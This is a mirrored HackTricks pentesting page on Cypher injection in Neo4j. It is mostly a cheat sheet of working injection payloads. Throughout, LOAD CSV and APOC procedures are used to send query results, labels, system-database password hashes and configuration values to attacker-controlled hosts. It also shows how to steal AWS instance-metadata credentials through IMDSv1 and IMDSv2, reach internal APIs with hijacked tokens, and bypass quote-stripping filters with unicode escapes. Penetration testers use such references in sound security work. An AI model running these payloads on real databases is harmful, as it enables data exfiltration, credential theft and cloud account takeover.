mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
b2fcc5d7a1
Update cypher-injection-neo4j.md
299 lines
16 KiB
Markdown
299 lines
16 KiB
Markdown
# Cypher Injection (neo4j)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## Common Cypher Injections
|
||
|
||
The **MATCH** and **WHERE** statements are **common scenarios**.
|
||
|
||
When we have found an injection, the way to exploit it depends on the **location within the query**. Below is a table of different injection locations and exploitation examples:
|
||
|
||
| Injectable query | Injection |
|
||
| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- |
|
||
| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` |
|
||
| <p><code>MATCH (o) WHERE '{input}' = o.Id</code><br><code>MATCH (o) WHERE {input} in [different, values]</code></p> | `'=' {…} WITH 0 as _l00 RETURN 1 //` |
|
||
| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` |
|
||
| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` |
|
||
| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` |
|
||
| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
||
| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
||
| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` |
|
||
| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` |
|
||
| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` |
|
||
|
||
Note the UNION statement:
|
||
|
||
1. The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute.
|
||
2. We add “RETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute.
|
||
|
||
So, what's with the “WITH” statement?
|
||
|
||
Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run.
|
||
|
||
Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server.
|
||
|
||
## HTTP Exfiltration
|
||
|
||
It's possible to use the following method to exfiltrate information to the attacker controlled domain:
|
||
|
||
```sql
|
||
LOAD CSV FROM 'https://attacker.com/'
|
||
```
|
||
|
||
For example
|
||
|
||
```sql
|
||
// Injection in:
|
||
MATCH (o) WHEREo.Id='{input}' RETURN o
|
||
|
||
// Injection to get all the preocedures
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
|
||
```
|
||
|
||
## APOC
|
||
|
||
The first thing an attacker should check is **whether APOC is installed**. APOC (awesome procedures on Cypher) is an **extremely popular**, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many **additional functions and procedures** that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks.
|
||
|
||
### Procedures to process data & send HTTP requests
|
||
|
||
* `apoc.convert.toJson` — converts nodes, maps, and more to JSON
|
||
* `apoc.text.base64Encode` — gets a string and encodes it as base64
|
||
|
||
It's possible to **set headers** and **send other methods** than GET. Examples:
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value
|
||
|
||
CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list
|
||
```
|
||
{% endcode %}
|
||
|
||
### Procedures to eval queries
|
||
|
||
* `apoc.cypher.runFirstColumnMany` — a function that returns the values of the first column as a list
|
||
* `apoc.cypher.runFirstColumnSingle` — a function that returns the first value of the first column
|
||
* `apoc.cypher.run` — a procedure that runs a query and returns the results as a map
|
||
* `apoc.cypher.runMany` — a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction.
|
||
|
||
## Extracting Information
|
||
|
||
### Server Version
|
||
|
||
One way to get the server version is to use the procedure `dbms.components()`
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 //
|
||
```
|
||
{% endcode %}
|
||
|
||
### Get running query
|
||
|
||
The easiest one is to use the procedure `dmbs.listQueries()`
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
In **Neo4j 5 `dbms.listQueries` was removed**. Instead, we can use “SHOW TRANSACTIONS”. There are two major limitations: **SHOW queries are not injectable**, and unlike `listQueries`, we can **only see the currently executed query** in the transaction and not all of them.
|
||
|
||
If **APOC** core is **installed**, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use **`apoc.cypher.runMany`** to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1//
|
||
```
|
||
{% endcode %}
|
||
|
||
### Get labels
|
||
|
||
Using the built-in method **`db.labels`**, it is possible to list all existing labels.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip/?l='+label as l RETURN 0 as _0
|
||
```
|
||
{% endcode %}
|
||
|
||
### Get properties of a key
|
||
|
||
The built-in function **`keys`** can be used to **list the keys of the properties** (This won't work if one of the fields is a list or a map.).
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //
|
||
```
|
||
{% endcode %}
|
||
|
||
If APOC is available, there's a better way to do it using `apoc.convert.toJson`
|
||
|
||
```sql
|
||
' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 //
|
||
```
|
||
|
||
### Get functions and procedures
|
||
|
||
Using the built-in procedures **`dbms.functions()`** and **`dbms.procedures()`** it's possible to list all functions and procedures.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
These procedures **were removed in Neo4j 5.** Instead, we can use **`SHOW PROCEDURES`** and **`SHOW FUNCTIONS`.** SHOW queries cannot be injected.
|
||
|
||
If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures.
|
||
|
||
```sql
|
||
' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 //
|
||
```
|
||
|
||
```sql
|
||
' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value
|
||
LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 //
|
||
```
|
||
|
||
### Get system database
|
||
|
||
The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes:
|
||
|
||
* Databases
|
||
* Roles
|
||
* Users (including the hash of the password!)
|
||
|
||
Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the **free edition of Neo4j, there's only an admin user and no other users**, so it's not uncommon to find yourself running as an admin.
|
||
|
||
Use the procedure **`apoc.systemdb.graph()`** to retrieve the data.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 //
|
||
```
|
||
{% endcode %}
|
||
|
||
Neo4j uses SimpleHash by Apache Shiro to generate the hash.
|
||
|
||
The result is stored as a comma-separated values string:
|
||
|
||
* Hashing algorithm
|
||
* Hash
|
||
* Salt
|
||
* Iterations
|
||
|
||
**For example:**
|
||
|
||
```plaintext
|
||
SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024
|
||
```
|
||
|
||
### **Get environment variables**
|
||
|
||
Using APOC, it is possible to retrieve the environment variable by using the procedure **`apoc.config.map()`** or **`apoc.config.list()`**.
|
||
|
||
These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value “apoc.\*”, which allows all APOC procedures.
|
||
|
||
```sql
|
||
' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 //
|
||
```
|
||
|
||
**Note:** in Neo4j5 the procedures were moved to APOC extended.
|
||
|
||
### AWS Cloud Metadata Endpoint
|
||
|
||
#### IMDSv1
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l
|
||
|
||
WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _
|
||
```
|
||
{% endcode %}
|
||
|
||
#### IMDSv2
|
||
|
||
We need to **specify headers** and we need to **use methods other than GET**.
|
||
|
||
**`LOAD CSV`** can't do either of these things, but we can use **`apoc.load.csvParams`** to get the token and the role, and then **`apoc.load.jsonParams`** to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON.
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token
|
||
|
||
CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role
|
||
|
||
CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value
|
||
```
|
||
{% endcode %}
|
||
|
||
#### Contact AWS API directly
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list
|
||
```
|
||
{% endcode %}
|
||
|
||
* $data is formatted as %Y%m%dT%H%M%SZ
|
||
* $token is the token we got from the metadata server
|
||
* $signed\_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html
|
||
|
||
## WAF Bypass
|
||
|
||
### Unicode injection
|
||
|
||
In Neo4j >= v4.2.0, it's often possible to **inject Unicode using “\uXXXX”**. For example, you can use this method if the **server tries to remove characters** such as: ‘, “, \` and so on.
|
||
|
||
This may not work if a letter follows the Unicode escape sequence. It's **safe to add a space** afterward or another Unicode notation.
|
||
|
||
For example, if the server removes single quotes, and the query looks like the following:
|
||
|
||
```sql
|
||
MATCH (a: {name: '$INPUT'}) RETURN a
|
||
```
|
||
|
||
It is possible to inject:
|
||
|
||
{% code overflow="wrap" %}
|
||
```sql
|
||
\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o //
|
||
```
|
||
{% endcode %}
|
||
|
||
## References
|
||
|
||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||
|
||
<details>
|
||
|
||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|